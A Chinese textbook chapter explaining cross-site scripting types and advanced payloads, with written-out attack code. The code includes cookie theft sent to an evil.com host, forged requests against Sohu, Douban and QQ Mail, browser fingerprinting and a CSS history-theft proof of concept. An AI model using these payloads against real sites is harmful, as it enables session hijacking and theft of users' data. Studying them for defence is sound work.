跨站脚本攻击(XSS)

跨站脚本攻击(XSS)是客户端脚本安全中的头号大敌。OWASP TOP 10威胁多次把XSS列在榜首。本章将深入探讨XSS攻击的原理,以及如何正确地防御它。

XSS简介

跨站脚本攻击,英文全称是Cross Site Script,本来缩写是CSS,但是为了和层叠样式表(Cas-cading Style Sheet,CSS)有所区别,所以在安全领域叫做“XSS”。

XSS攻击,通常指黑客通过“HTML注入”篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。在一开始,这种攻击的演示案例是跨域的,所以叫做“跨站脚本”。但是发展到今天,由于JavaScript的强大功能以及网站前端应用的复杂化,是否跨域已经不再重要。但是由于历史原因,XSS这个名字却一直保留下来。

XSS长期以来被列为客户端Web安全中的头号大敌。因为XSS破坏力强大,且产生的场景复杂,难以一次性解决。现在业内达成的共识是:针对各种不同场景产生的XSS,需要区分情景对待。即便如此,复杂的应用环境仍然是XSS滋生的温床。

那么,什么是XSS呢?看看下面的例子。

假设一个页面把用户输入的参数直接输出到页面上:

1 2 3 4 5 6 7
<?php $input = $_GET["param"]; echo "<div>".$input."</div>"; ?>

在正常情况下,用户向param提交的数据会展示到页面中,比如提交:

1
http://www.a.com/test.php?param=这是一个测试!

会得到如下结果:

正常的用户请求

此时查看页面源代码,可以看到:

1
<div>这是一个测试!</div>

但是如果提交一段HTML代码:

1 2 3
http://www.a.com/test.php? param=<script>alert(/xss/)</script>

会发现,alert(/xss/)在当前页面执行了:

包含了XSS攻击的用户请求结果

再查看源代码:

1
<div><script>alert(/xss/)</script></div>

用户输入的Script脚本,已经被写入页面中,而这显然是开发者所不希望看到的。

上面这个例子,就是XSS的第一种类型:反射型XSS。

XSS根据效果的不同可以分成如下几类。

第一种类型:反射型XSS

反射型XSS只是简单地把用户输入的数据“反射”给浏览器。也就是说,黑客往往需要诱使用户“点击”一个恶意链接,才能攻击成功。反射型XSS也叫做“非持久型XSS”(Non-persistent XSS)。

第二种类型:存储型XSS

存储型XSS会把用户输入的数据“存储”在服务器端。这种XSS具有很强的稳定性。

比较常见的一个场景就是,黑客写下一篇包含有恶意JavaScript代码的博客文章,文章发表后,所有访问该博客文章的用户,都会在他们的浏览器中执行这段恶意的JavaScript代码。黑客把恶意的脚本保存到服务器端,所以这种XSS攻击就叫做“存储型XSS”。

存储型XSS通常也叫做“持久型XSS”(Per-sistent XSS),因为从效果上来说,它存在的时间是比较长的。

第三种类型:DOM Based XSS

实际上,这种类型的XSS并非按照“数据是否保存在服务器端”来划分,DOM Based XSS从效果上来说也是反射型XSS。单独划分出来,是因为DOM Based XSS的形成原因比较特别,发现它的安全专家专门提出了这种类型的XSS。出于历史原因,也就把它单独作为一个分类了。

通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。

看如下代码:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
<script> function test(){ var str = document.getElementById("text").value; document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>"; } </script> <div id="t" ></div> <input type="text" id="text" value="" /> <input type="button" id="s" value="write" onclick="test()" />

点击“write”按钮后,会在当前页面插入一个超链接,其地址为文本框的内容:

在这里,“write”按钮的onclick事件调用了test()函数。而在test()函数中,修改了页面的DOM节点,通过innerHTML把一段用户数据当做HTML写入到页面中,这就造成了DOM basedXSS。

构造如下数据:

1
' onclick=alert(/xss/) //

输入后,页面代码就变成了:

1 2 3
<a href='' onlick=alert(/xss/)//' >testLink</a>

首先用一个单引号闭合掉href的第一个单引号,然后插入一个onclick事件,最后再用注释符“//”注释掉第二个单引号。

点击这个新生成的链接,脚本将被执行:

恶意脚本被执行

实际上,这里还有另外一种利用方式——除了构造一个新事件外,还可以选择闭合掉<a>标签,并插入一个新的HTML标签。尝试如下输入:

1
'><img src=# onerror=alert(/xss2/) /><'

页面代码变成了:

1 2 3
<a href=''><img src=# onerror=alert(/xss2/) / ><'' >testLink</a>

脚本被执行:

恶意脚本被执行

XSS攻击进阶

初探XSS Payload

前文谈到了XSS的几种分类。接下来,就从攻击的角度来体验一下XSS的威力。

XSS攻击成功后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些用以完成各种具体功能的恶意脚本,被称为“XSS Payload”。

XSS Payload实际上就是JavaScript脚本(还可以是Flash或其他富客户端的脚本),所以任何JavaScript脚本能实现的功能,XSS Payload都能做到。

一个最常见的XSS Payload,就是通过读取浏览器的Cookie对象,从而发起“Cookie劫持”攻击。

Cookie中一般加密保存了当前用户的登录凭证。Cookie如果丢失,往往意味着用户的登录凭证丢失。换句话说,攻击者可以不通过密码,而直接登录进用户的账户。

如下所示,攻击者先加载一个远程脚本:

1 2 3
http://www.a.com/test.htm?abc="><script src=http://www.evil.com/evil.js ></script>

真正的XSS Payload写在这个远程脚本中,避免直接在URL的参数里写入大量的JavaScript代码。

在evil.js中,可以通过如下代码窃取Cookie:

1 2 3 4 5 6 7
var img = document.createElement("img"); img.src = "http://www.evil.com/ log?"+escape(document.cookie); document.body.appendChild(img);

这段代码在页面中插入了一张看不见的图片,同时把document.cookie对象作为参数发送到远程服务器。

事实上,http://www.evil.com/log并不一定要存在,因为这个请求会在远程服务器的Web日志中留下记录:

1 2 3
127.0.0.1 - - [19/Jul/2010:11:30:42 +0800] "GET /log?cookie1%3D1234 HTTP/1.1" 404 288

这样,就完成了一个最简单的窃取Cookie的XSS Payload。

如何利用窃取的Cookie登录目标用户的账户呢?这和“利用自定义Cookie访问网站”的过程是一样的,参考如下过程。

在Firefox中访问用户的百度空间,登录后查看当前的Cookie:

查看当前页面的Cookie值

然后打开IE,访问同一个页面。此时在IE中,用户是未登录状态:

用户处于未登录状态

将Firefox中登录后的Cookie记录下来,并以之替换当前IE中的Cookie。重新发送这个包:

使用同一Cookie值重新发包

通过返回的页面可以看到,此时已经登录进该账户:

返回登录后的状态页面

验证一下,把返回的HTML代码复制到本地打开后,可以看到右上角显示了账户信息相关的数据:

返回页面是已登录状态

所以,通过XSS攻击,可以完成“Cookie劫持”攻击,直接登录进用户的账户。

这是因为在当前的Web中,Cookie一般是用户登录的凭证,浏览器发起的所有请求都会自动带上Cookie。如果Cookie没有绑定客户端信息,当攻击者窃取了Cookie后,就可以不用密码登录进用户的账户。

Cookie的“HttpOnly”标识可以防止“Cookie劫持”,我们将在稍后的章节中再具体介绍。

强大的XSS Payload

上节演示了一个简单的窃取Cookie的XSSPayload。在本节中,将介绍一些更为强大的XSSPayload。“Cookie劫持”并非所有的时候都会有效。有的网站可能会在Set-Cookie时给关键Cookie植入HttpOnly标识;有的网站则可能会把Cookie与客户端IP绑定(相关内容在“XSS的防御”一节中会具体介绍),从而使得XSS窃取的Cookie失去意义。

尽管如此,在XSS攻击成功后,攻击者仍然有许多方式能够控制用户的浏览器。

构造GET与POST请求

一个网站的应用,只需要接受HTTP协议中的GET或POST请求,即可完成所有操作。对于攻击者来说,仅通过JavaScript,就可以让浏览器发起这两种请求。

比如在Sohu博客上有一篇文章,想通过XSS删除它,该如何做呢?

Sohu博客页面

假设Sohu博客所在域的某页面存在XSS漏洞,那么通过JavaScript,这个过程如下。

正常删除该文章的链接是:

1 2 3
http://blog.sohu.com/manage/entry.do? m=delete&id=156713012

对于攻击者来说,只需要知道文章的id,就能够通过这个请求删除这篇文章了。在本例中,文章的id是156713012。

攻击者可以通过插入一张图片来发起一个GET请求:

1 2 3 4 5 6 7
var img = document.createElement("img"); img.src = "http://blog.sohu.com/manage/ entry.do?m=delete&id=156713012"; document.body.appendChild(img);

攻击者只需要让博客的作者执行这段JavaScript代码(XSS Payload),就会把这篇文章删除。在具体攻击中,攻击者将通过XSS诱使用户执行XSS Payload。

再看一个复杂点的例子。如果网站应用者接受POST请求,那么攻击者如何实施XSS攻击呢?

下例是Douban的一处表单。攻击者将通过JavaScript发出一个POST请求,提交此表单,最终发出一条新的消息。

在正常情况下,发出一条消息,浏览器发的包是:

Douban上发新消息的请求包

要模拟这一过程,有两种方法。第一种方法是,构造一个form表单,然后自动提交这个表单:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
var f = document.createElement("form"); f.action = ""; f.method = "post"; document.body.appendChild(f); var i1 = document.createElement("input"); i1.name = " ck"; i1.value = " JiUY"; f.appendChild(i1); var i2 = document.createElement("input"); i2.name = " mb_text"; i2.value = "testtesttest"; f.appendChild(i2); f.submit();

如果表单的参数很多的话,通过构造DOM节点的方式,代码将会非常冗长。所以可以直接写HTML代码,这样会使得整个代码精简很多,如下所示:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19
var dd = document.createElement("div"); document.body.appendChild(dd); dd.innerHTML = '<form action="" method="post" id="xssform" name="mbform">'+ '<input type="hidden" value="JiUY" name="ck" />'+ '<input type="text" value="testtesttest" name="mb_text" />'+ '</form>' document.getElementById("xssform").submit();

自动提交表单成功:

通过表单自动提交发消息成功

第二种方法是,通过XMLHttpRequest发送一个POST请求:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
var url = "http://www.douban.com"; var postStr = "ck=JiUY&mb_text=test1234"; var ajax = null; if(window.XMLHttpRequest){ ajax = new XMLHttpRequest(); } else if(window.ActiveXObject){ ajax = new ActiveXObject("Microsoft.XMLHTTP"); } else{ return; } ajax.open("POST", url, true); ajax.setRequestHeader("Content- Type","application/x-www-form-urlencoded"); ajax.send(postStr); ajax.onreadystatechange = function(){ if (ajax.readyState == 4 && ajax.status == 200){ alert("Done!"); } }

再次提交成功:

通过XMLHttpRequest发消息成功

通过这个例子可以清楚地看到,使用JavaScript模拟浏览器发包并不是一件困难的事情。

所以XSS攻击后,攻击者除了可以实施“Cookie劫持”外,还能够通过模拟GET、POST请求操作用户的浏览器。这在某些隔离环境中会非常有用,比如“Cookie劫持”失效时,或者目标用户的网络不能访问互联网等情况。

下面这个例子将演示如何通过XSS Payload读取QMail用户的邮件文件夹。

首先看看正常的请求是如何获取到所有的邮件列表的。登录邮箱后,可以看到:

QQ邮箱的界面

点击“收件箱”后,看到邮件列表。抓包发现浏览器发出了如下请求:

1 2 3 4 5
http://m57.mail.qq.com/cgi-bin/mail_list? sid=6alhx3p5yzh9a2om7U51dDyz&folderid=1&page =0&s=inbox&loc=folderlist,,,1

QQ邮箱的邮件列表

经过分析发现,真正能访问到邮件列表的链接是:

1 2 3 4 5
http://m57.mail.qq.com/cgi-bin/mail_list? folderid=1&page=0&s=inbox&sid=6alhx3p5yzh9a2 om7U51dDyz

在Firebug中分析QQ邮箱的页面内容

这里有一个无法直接构造出的参数值:sid。从字面推测,这个sid参数应该是用户ID加密后的值。

所以,XSS Payload的思路是先获取到sid的值,然后构造完整的URL,并使用XMLHttpRe-quest请求此URL,应该就能得到邮件列表了。XSSPayload如下:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
if (top.window.location.href.indexOf("sid=")>0){ var sid = top.window.location.href.substr(top.window.lo cation.href.indexOf("sid=") +4,24); } var folder_url = "http://"+top.window.location.host+"/cgi-bin/ mail_list?folderid= 1&page=0&s=inbox&sid="+sid; var ajax = null; if(window.XMLHttpRequest){ ajax = new XMLHttpRequest(); } else if(window.ActiveXObject){ ajax = new ActiveXObject("Microsoft.XMLHTTP"); } else{ return; } ajax.open("GET", folder_url, true); ajax.send(null); ajax.onreadystatechange = function(){ if (ajax.readyState == 4 && ajax.status == 200){ alert(ajax.responseText); //document.write(ajax.responseText ) } }

执行这段代码后:

获取邮件内容

邮件列表的内容成功被XSS Payload获取到。

攻击者获取到邮件列表的内容后,还可以读取每封邮件的内容,并发送到远程服务器上。这只需要构造不同的GET或POST请求即可,在此不再赘述,有兴趣的读者可以自己通过JavaScript实现这个功能。

XSS钓鱼

XSS并非万能。在前文的例子中,XSS的攻击过程都是在浏览器中通过JavaScript脚本自动进行的,也就是说,缺少“与用户交互”的过程。

比如在前文提到的“通过POST表单发消息”的案例中,如果在提交表单时要求用户输入验证码,那么一般的XSS Payload都会失效;此外,在大多数“修改用户密码”的功能中,在提交新密码前,都会要求用户输入“Old Password”。而这个“Old Password”,对于攻击者来说,往往是不知道的。

但是,这就能限制住XSS攻击吗?答案是否定的。

对于验证码,XSS Payload可以通过读取页面内容,将验证码的图片URL发送到远程服务器上来实施——攻击者可以在远程XSS后台接收当前验证码,并将验证码的值返回给当前的XSS Pay-load,从而绕过验证码。

修改密码的问题稍微复杂点。为了窃取密码,攻击者可以将XSS与“钓鱼”相结合。

实现思路很简单:利用JavaScript在当前页面上“画出”一个伪造的登录框,当用户在登录框中输入用户名与密码后,其密码将被发送至黑客的服务器上。

通过JavaScript伪造的登录框

充分发挥想象力,可以使得XSS攻击的威力更加巨大。

识别用户浏览器

在很多时候,攻击者为了获取更大的利益,往往需要准确地收集用户的个人信息。比如,如果知道用户使用的浏览器、操作系统,攻击者就有可能实施一次精准的浏览器内存攻击,最终给用户电脑植入一个木马。XSS能够帮助攻击者快速达到收集信息的目的。

如何通过JavaScript脚本识别浏览器版本呢?最直接的莫过于通过XSS读取浏览器的UserA-gent对象:

1
alert(navigator.userAgent);

浏览器的UserAgent对象

这个对象,告诉我们很多客户端的信息:

OS版本:Windows NT 5.1(这是Windows XP的内核版本)

浏览器版本:Firefox 3.6.7

系统语言:zh-CN(简体中文)

但是浏览器的UserAgent是可以伪造的。比如,Firefox有很多扩展可以屏蔽或自定义浏览器发送的UserAgent。所以通过JavaScript取出来的这个浏览器对象,信息并不一定准确。

但对于攻击者来说,还有另外一种技巧,可以更准确地识别用户的浏览器版本。

由于浏览器之间的实现存在差异——不同的浏览器会各自实现一些独特的功能,而同一个浏览器的不同版本之间也可能会有细微差别。所以通过分辨这些浏览器之间的差异,就能准确地判断出浏览器版本,而几乎不会误报。这种方法比读取User-Agent要准确得多。

参考以下代码:

  1   2   3   4   5   6   7   8   9  10  11  12  13  14  15  16  17  18  19  20  21  22  23  24  25  26  27  28  29  30  31  32  33  34  35  36  37  38  39  40  41  42  43  44  45  46  47  48  49  50  51  52  53  54  55  56  57  58  59  60  61  62  63  64  65  66  67  68  69  70  71  72  73  74  75  76  77  78  79  80  81  82  83  84  85  86  87  88  89  90  91  92  93  94  95  96  97  98  99 100 101
if (window.ActiveXObject){ // MSIE 6.0 or below //判断是否是IE 7以上 if (document.documentElement && typeof document.documentElement.style.maxHeight!= "undefined" ){ //判断是否是 IE 8+ if ( typeof document.adoptNode != "undefined") { // Safari3 & FF & Opera & Chrome & IE8 //MSIE 8.0 因为同时满足前两个if判断,所以//在这里是IE 8 } // MSIE 7.0 否则就是IE 7 } return "msie"; } else if (typeof window.opera != "undefined") { //Opera独占 // "Opera "+window.opera.version() return "opera"; } else if (typeof window.netscape != "undefined") { //Mozilla 独占 // "Mozilla" // 可以准确识别大版本 if (typeof window.Iterator != "undefined") { // Firefox 2 以上支持这个对象 if (typeof document.styleSheetSets != "undefined") { // Firefox 3 & Opera 9 // Firefox 3 同时满足这些条件的必然是 Firefox 3了 } } return "mozilla"; } else if (typeof window.pageXOffset != "undefined") { // Mozilla & Safari //"Safari" try{ if (typeof external.AddSearchProvider != "undefined") { // Firefox & Google Chrome //Google Chrome return "chrome"; } } catch (e) { return "safari"; } } else { //unknown //Unknown return "unknown"; }

这段代码,找到了几个浏览器独有的对象,能够识别浏览器的大版本。依据这个思路,还可以找到更多“独特的”浏览器对象。

安全研究者Gareth Heyes曾经找到一种更巧妙的方法,通过很精简的代码,即可识别出不同的浏览器。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
//Firefox detector 2/3 by DoctorDan FF=/a/[-1]=='a' //Firefox 3 by me:- FF3=(function x(){})[-5]=='x' //Firefox 2 by me:- FF2=(function x(){})[-6]=='x' //IE detector I posted previously IE='\v'=='v' //Safari detector by me Saf=/a/.__proto__=='//' //Chrome by me Chr=/source/.test((/a/.toString+'')) //Opera by me Op=/^function \(/.test([].sort) //IE6 detector using conditionals try {IE6=@cc_on @_jscript_version <= 5.7&&@_jscript_build<10000

精简为一行代码,即:

 1  2  3  4  5  6  7  8  9 10 11 12
B=(function x(){})[-5]=='x'?'FF3':(function x(){})[-6]=='x'?'FF2':/a/ [-1]=='a'?'FF':'\v'=='v'?'IE':/ a/.__proto__=='//'?'Saf':/s/. test(/a/.toString)?'Chr':/^function \(/.test([].sort)?'Op':'Unknown'

识别用户安装的软件

知道了用户使用的浏览器、操作系统后,进一步可以识别用户安装的软件。

在IE中,可以通过判断ActiveX控件的clas-sid是否存在,来推测用户是否安装了该软件。这种方法很早就被用于“挂马攻击”——黑客通过判断用户安装的软件,选择对应的浏览器漏洞,最终达到植入木马的目的。

看如下代码:

 1  2  3  4  5  6  7  8  9 10 11
try { var Obj = new ActiveXObject(‘XunLeiBHO.ThunderIEHelper’); } catch (e){ // 异常了,不存在该控件 }

这段代码检测迅雷的一个控件(“Xun-LeiBHO.ThunderIEHelper”)是否存在。如果用户安装了迅雷软件,则默认也会安装此控件。因此通过判断此控件,即可推测用户安装了迅雷软件的可能性。

通过收集常见软件的classid,就可以扫描出用户电脑中安装的软件列表,甚至包括软件的版本。

一些第三方软件也可能会泄露一些信息。比如Flash有一个system.capabilities对象,能够查询客户端电脑中的硬件信息:

Flash的system.capabilities对象

在XSS Payload中使用时,可以在Flash的ActionScript中读取system.capabilities对象后,将结果通过ExternalInterface传给页面的JavaScript。这个过程在此不再赘述了。

浏览器的扩展和插件也能被XSS Payload扫描出来。比如对于Firefox的插件和扩展,有着不同的检测方法。

Firefox的插件(Plugins)列表存放在一个DOM对象中,通过查询DOM可以遍历出所有的插件:

Firefox的plugins对象

所以直接查询“navigator.plugins”对象,就能找到所有的插件了。在上图中所示的插件是“navigator.plugins[0]”。

而Firefox的扩展(Extension)要复杂一些。有安全研究者想出了一个方法:通过检测扩展的图标,来判断某个特定的扩展是否存在。

在Firefox中有一个特殊的协议:chrome://,Firefox的扩展图标可以通过这个协议被访问到。比如Flash Got扩展的图标,可以这样访问:

1
chrome://flashgot/skin/icon32.png

扫描Firefox扩展时,只需在JavaScript中加载这张图片,如果加载成功,则扩展存在;反之,扩展不存在。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21
var m = new Image(); m.onload = function() { alert(1); //图片存在 }; m.onerror = function() { alert(2); //图片不存在 }; m.src = "chrome://flashgot/skin/ icon32.png"; //连接图片

CSS History Hack

我们再看看另外一个有趣的XSS Payload——通过CSS,来发现一个用户曾经访问过的网站。

这个技巧最早被Jeremiah Grossman发现,其原理是利用style的visited属性——如果用户曾经访问过某个链接,那么这个链接的颜色会变得与众不同:

1 2 3 4 5 6 7
<body> <a href=# >曾经访问过的</a> <a href="notexist" >未曾访问过的</a> </body>

浏览器会将点击过的链接示以不同的颜色:

安全研究者Rsnake公布了一个POC,其效果如下:

Rsnake演示的攻击效果

红色标记的,就是用户曾经访问过的网站(即Visited下的两个网站)。

这个POC代码如下:

  1   2   3   4   5   6   7   8   9  10  11  12  13  14  15  16  17  18  19  20  21  22  23  24  25  26  27  28  29  30  31  32  33  34  35  36  37  38  39  40  41  42  43  44  45  46  47  48  49  50  51  52  53  54  55  56  57  58  59  60  61  62  63  64  65  66  67  68  69  70  71  72  73  74  75  76  77  78  79  80  81  82  83  84  85  86  87  88  89  90  91  92  93  94  95  96  97  98  99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257
<script> <!-- /* NAME: JavaScript History Thief AUTHOR: Jeremiah Grossman BSD LICENSE: Copyright (c) 2006, WhiteHat Security, Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the WhiteHat Security nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* A short list of websites to loop through checking to see if the victim has been there. Without noticable performance overhead, testing couple of a couple thousand URL's is possible within a few seconds. */ var websites = [ "http://ha.ckers.org/blog/", "http://login.yahoo.com/", "http://mail.google.com/", "http://mail.yahoo.com/", "http://my.yahoo.com/", "http://sla.ckers.org/forum/", "http://slashdot.org/", "http://www.amazon.com/", "http://www.aol.com/", "http://www.apple.com/", "http://www.bankofamerica.com/", "http://www.bankone.com/", "http://www.blackhat.com/", "http://www.blogger.com/", "http://www.bofa.com/", "http://www.capitalone.com/", "http://www.cgisecurity.com/", "http://www.chase.com/", "http://www.citibank.com/", "http://www.cnn.com/", "http://www.comerica.com/", "http://www.e-gold.com/", "http://www.ebay.com/", "http://www.etrade.com/", "http://www.flickr.com/", "http://www.google.com/", "http://www.hsbc.com/", "http://www.icq.com/", "http://www.live.com/", "http://www.microsoft.com/", "https://commerce.blackhat.com/", ]; /* Loop through each URL */ for (var i = 0; i < websites.length; i++) { /* create the new anchor tag with the appropriate URL information */ var link = document.createElement("a"); link.id = "id" + i; link.href = websites[i]; link.innerHTML = websites[i]; /* create a custom style tag for the specific link. Set the CSS visited selector to a known value, in this case red */ document.write('<style>'); document.write('#id' + i + ":visited {color: #FF0000;}"); document.write('</style>'); /* quickly add and remove the link from the DOM with enough time to save the visible computed color. */ document.body.appendChild(link); var color = document.defaultView.getComputedStyle(link,nu ll).getPropertyValue("color"); document.body.removeChild(link); /* check to see if the link has been visited if the computed color is red */ if (color == "rgb(255, 0, 0)") { // visited /* add the link to the visited list */ var item = document.createElement('li'); item.appendChild(link); document.getElementById('visited').appendChi ld(item); } else { // not visited /* add the link to the not visited list */ var item = document.createElement('li'); item.appendChild(link); document.getElementById('notvisited').append Child(item); } // end visited color check if } // end URL loop // --> </script>

但是Firefox在2010年3月底决定修补这个问题,因此,未来这种信息泄露的问题可能在Mozilla浏览器中不会再继续存在了。

获取用户的真实IP地址

通过XSS Payload还有办法获取一些客户端的本地IP地址。

很多时候,用户电脑使用了代理服务器,或者在局域网中隐藏在NAT后面。网站看到的客户端IP地址,是内网的出口IP地址,而并非用户电脑真实的本地IP地址。如何才能知道用户的本地IP地址呢?

JavaScript本身并没有提供获取本地IP地址的能力,有没有其他办法?一般来说,XSS攻击需要借助第三方软件来完成。比如,客户端安装了Java环境(JRE),那么XSS就可以通过调用JavaApplet的接口获取客户端的本地IP地址。

在XSS攻击框架“Attack API”中,就有一个获取本地IP地址的API:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
/** * @cat DOM * @name AttackAPI.dom.getInternalIP * @desc get internal IP address * @return {String} IP address */ AttackAPI.dom.getInternalIP = function () { try { var sock = new java.net.Socket(); sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0)); sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)? 80:document.location.port)); return sock.getLocalAddress().getHostAddress(); } catch (e) {} return '127.0.0.1'; };

此外,还有两个利用Java获取本地网络信息的API:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97
/** * @cat DOM * @name AttackAPI.dom.getInternalHostname * @desc get internal hostname * @return {String} hostname */ AttackAPI.dom.getInternalHostname = function () { try { var sock = new java.net.Socket(); sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0)); sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)? 80:document.location.port)); return sock.getLocalAddress().getHostName(); } catch (e) {} return 'localhost'; }; /** * @cat DOM * @name AttackAPI.dom.getInternalNetworkInfo * @desc get the internal network information * @return {Object} network information object */ AttackAPI.dom.getInternalNetworkInfo = function () { var info = {hostname: 'localhost', IP: '127.0.0.1'}; try { var sock = new java.net.Socket(); sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0)); sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)? 80:document.location.port)); info.IP = sock.getLocalAddress().getHostAddress(); info.hostname = sock.getLocalAddress().getHostName(); } catch (e) {} return info; };

这种方法需要攻击者写一个Java Class,嵌入到当前页面中。除了Java之外,一些ActiveX控件可能也会提供接口查询本地IP地址。这些功能比较特殊,需要根据具体情况具体分析,这里不赘述了。

Metasploit引擎曾展示过一个强大的测试页面,综合了Java Applet、Flash、iTunes、OfficeWord、QuickTime等第三方软件的功能,抓取用户的本地信息,有兴趣深入研究的读者可以参考。

XSS 攻击平台

XSS Payload如此强大,为了使用方便,有安全研究者将许多功能封装起来,成为XSS攻击平台。这些攻击平台的主要目的是为了演示XSS的危害,以及方便渗透测试使用。下面就介绍几个常见的XSS攻击平台。

Attack API

Attack API是安全研究者pdp所主导的一个项目,它总结了很多能够直接使用XSS Payload,归纳为API的方式。比如上节提到的“获取客户端本地信息的API”就出自这个项目。

BeEF

BeEF曾经是最好的XSS演示平台。不同于Attack API,BeEF所演示的是一个完整的XSS攻击过程。BeEF有一个控制后台,攻击者可以在后台控制前端的一切。

BeFF的后台界面

每个被XSS攻击的用户都将出现在后台,后台控制者可以控制这些浏览器的行为,并可以通过XSS向这些用户发送命令。

XSS-Proxy

XSS-Proxy是一个轻量级的XSS攻击平台,通过嵌套iframe的方式可以实时地远程控制被XSS攻击的浏览器。

XSS-Proxy的实现原理

这些XSS攻击平台有助于深入理解XSS的原理和危害。

终极武器:XSS Worm

XSS也能形成蠕虫吗?我们知道,以往的蠕虫是利用服务器端软件漏洞进行传播的。比如2003年的冲击波蠕虫,利用的是Windows的RPC远程溢出漏洞。

Samy Worm

在2005年,年仅19岁的Samy Kamkar发起了对MySpace.com的XSS Worm攻击。SamyKamkar的蠕虫在短短几小时内就感染了100万用户——它在每个用户的自我简介后边加了一句话:“but most of all, Samy is my hero.”(Samy是我的偶像)。这是Web安全史上第一个重量级的XSSWorm,具有里程碑意义。

今天我们看看当时的Samy蠕虫都做了些什么?

首先,MySpace过滤了很多危险的HTML标签,只保留了<a>标签、<img>标签、<div>标签等“安全的标签”。所有的事件比如“onclick”等也被过滤了。但是MySpace却允许用户控制标签的style属性,通过style,还是有办法构造出XSS的。比如:

1 2 3 4 5
<div style="background:url('javascript:alert(1)')" >

其次,MySpace同时还过滤了“javascript”、“onreadystatechange”等敏感词,所以Samy用了“拆分法”绕过这些限制。

最后,Samy通过AJAX构造的POST请求,完成了在用户的heros列表里添加自己名字的功能;同时复制蠕虫自身进行传播。至此,XSS Worm就完成了。有兴趣的读者可以参考Samy蠕虫的技术细节分析。

下面附上Samy Worm的源代码。这是具有里程碑意义的第一个XSS Worm,原本的代码压缩在一行内。为了方便阅读,如下代码已经经过了整理和美化。

  1   2   3   4   5   6   7   8   9  10  11  12  13  14  15  16  17  18  19  20  21  22  23  24  25  26  27  28  29  30  31  32  33  34  35  36  37  38  39  40  41  42  43  44  45  46  47  48  49  50  51  52  53  54  55  56  57  58  59  60  61  62  63  64  65  66  67  68  69  70  71  72  73  74  75  76  77  78  79  80  81  82  83  84  85  86  87  88  89  90  91  92  93  94  95  96  97  98  99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 